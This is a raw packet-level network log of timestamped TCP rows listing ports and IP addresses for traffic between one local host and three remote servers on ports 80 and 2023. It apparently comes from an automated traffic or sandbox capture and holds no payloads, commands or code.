Nov 20, 2024 05:02:22.299418926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299443960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299452066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299462080 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299478054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299479008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299494982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299495935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299510956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299511909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299526930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299526930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299540043 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299545050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299557924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299561024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299576044 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299577951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299590111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299595118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299604893 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299612045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299624920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299629927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299648046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299658060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299658060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299666882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299678087 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299684048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299699068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299701929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299710989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299714088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299734116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299736023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299746990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299752951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299770117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299784899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299787998 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299802065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299808025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299818993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299827099 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299837112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299840927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299851894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299855947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299865007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299880981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299890041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299906015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299921036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299936056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299937963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299958944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299972057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.299978971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.299997091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300012112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300013065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300029039 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300030947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300043106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300046921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300057888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300064087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300076008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300081015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300096035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300126076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300143003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300164938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300167084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300178051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300180912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300198078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300203085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300213099 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300214052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300231934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300234079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300246000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300276041 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300293922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300309896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300327063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300343037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300343990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300367117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300384045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300385952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300404072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300417900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300419092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300432920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300436020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300448895 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300452948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300467014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300472021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300484896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300488949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300499916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300506115 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300520897 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300538063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300554991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300579071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300594091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300601006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300614119 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300618887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300630093 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300635099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300648928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300652027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300664902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300669909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300683022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300688028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300698996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300704956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300717115 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300723076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300731897 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300739050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300754070 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300756931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300769091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300772905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300786018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300790071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300801992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300806999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300820112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300823927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300837040 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300842047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300854921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300858021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300869942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300874949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300887108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300893068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300904989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300909996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300924063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300925970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300937891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300941944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300955057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300961018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300971031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300978899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.300992012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.300997019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.301011086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.301027060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.306238890 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.306329012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.671557903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:24.671607971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.736309052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.737082958 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.900562048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:24.900590897 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:24.900681973 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.920368910 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:24.925182104 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:25.673360109 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:25.673430920 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:25.673445940 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:25.673463106 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:25.673506021 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:25.673506021 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:25.673506021 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:25.673536062 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:27.985363007 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:27.990199089 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:28.314224005 CET	80	49731	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:28.314275026 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:30.336615086 CET	49731	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:03:18.585658073 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:18.590476036 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:18.590620041 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:18.590806007 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:18.595598936 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:19.330084085 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:19.330149889 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:19.441055059 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:19.445998907 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:19.707802057 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:19.707851887 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:19.707957983 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:19.727893114 CET	49864	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:19.733647108 CET	2023	49864	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:19.737565041 CET	49864	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:19.739859104 CET	49864	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:19.744690895 CET	2023	49864	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:19.745429993 CET	49864	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:19.750427961 CET	2023	49864	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:20.338860035 CET	2023	49864	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:20.392127037 CET	49864	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:22.379276037 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.384341955 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:22.679676056 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:22.679740906 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.800395966 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.800863981 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.805493116 CET	80	49858	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:22.805618048 CET	49858	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.805762053 CET	80	49885	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:22.805847883 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.806027889 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:22.810807943 CET	80	49885	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:23.511003017 CET	80	49885	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:23.511115074 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.512073994 CET	49891	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:23.517014980 CET	2023	49891	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:23.517163992 CET	49891	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:23.517180920 CET	49891	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:23.517227888 CET	49891	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:23.521975994 CET	2023	49891	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:23.565623045 CET	2023	49891	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:23.628603935 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.628884077 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.633702040 CET	80	49892	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:23.633718014 CET	80	49885	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:23.633771896 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.633800030 CET	49885	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.633956909 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:23.638788939 CET	80	49892	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:23.950057030 CET	2023	49891	89.105.201.183	192.168.2.4
Nov 20, 2024 05:03:23.950123072 CET	49891	2023	192.168.2.4	89.105.201.183
Nov 20, 2024 05:03:24.349406958 CET	80	49892	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:24.349524975 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.472336054 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.472630024 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.477530956 CET	80	49898	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:24.477622032 CET	80	49892	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:24.477719069 CET	49892	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.477730989 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.477838039 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:24.482641935 CET	80	49898	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:25.182888985 CET	80	49898	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:25.182991982 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.304630995 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.305047989 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.310096979 CET	80	49904	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:25.310209990 CET	80	49898	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:25.310219049 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.310271025 CET	49898	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.310781002 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:25.315689087 CET	80	49904	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.013364077 CET	80	49904	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.013458967 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.251260042 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.251667023 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.256753922 CET	80	49904	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.256800890 CET	80	49910	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.256881952 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.256942987 CET	49904	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.258687019 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:26.263695002 CET	80	49910	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.982481003 CET	80	49910	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:26.986222029 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.104958057 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.105448961 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.110399008 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:27.110526085 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.110727072 CET	80	49910	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:27.111026049 CET	49910	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.111489058 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.116400003 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:27.814490080 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:27.814580917 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.925499916 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:27.930366039 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:28.175709963 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:28.175921917 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.296679974 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.298638105 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.301908016 CET	80	49917	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:28.301970959 CET	49917	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.303570986 CET	80	49927	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:28.303652048 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.303901911 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:28.308742046 CET	80	49927	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.002851963 CET	80	49927	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.003148079 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.144300938 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.149545908 CET	80	49927	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.149744034 CET	49927	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.151979923 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.156965017 CET	80	49933	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.157910109 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.211000919 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:29.215830088 CET	80	49933	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.864598036 CET	80	49933	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:29.864670992 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.183654070 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.184034109 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.188858032 CET	80	49933	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:30.188868046 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:30.188916922 CET	49933	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.188951015 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.277796984 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:30.282619953 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:30.897241116 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:30.897322893 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.035603046 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.040409088 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:31.290525913 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:31.290582895 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.410084009 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.410476923 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.415132999 CET	80	49939	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:31.415208101 CET	49939	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.415353060 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:31.415424109 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.415579081 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:31.420368910 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.129146099 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.129208088 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.238684893 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.243482113 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.485069990 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.485151052 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.599415064 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.599709988 CET	49956	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.604490042 CET	80	49945	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.604532003 CET	80	49956	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:32.604604006 CET	49945	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.604654074 CET	49956	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.604738951 CET	49956	80	192.168.2.4	185.208.158.202
Nov 20, 2024 05:03:32.609603882 CET	80	49956	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:33.320471048 CET	80	49956	185.208.158.202	192.168.2.4
Nov 20, 2024 05:03:33.323395967 CET	49956	80	192.168.2.4	185.208.158.202
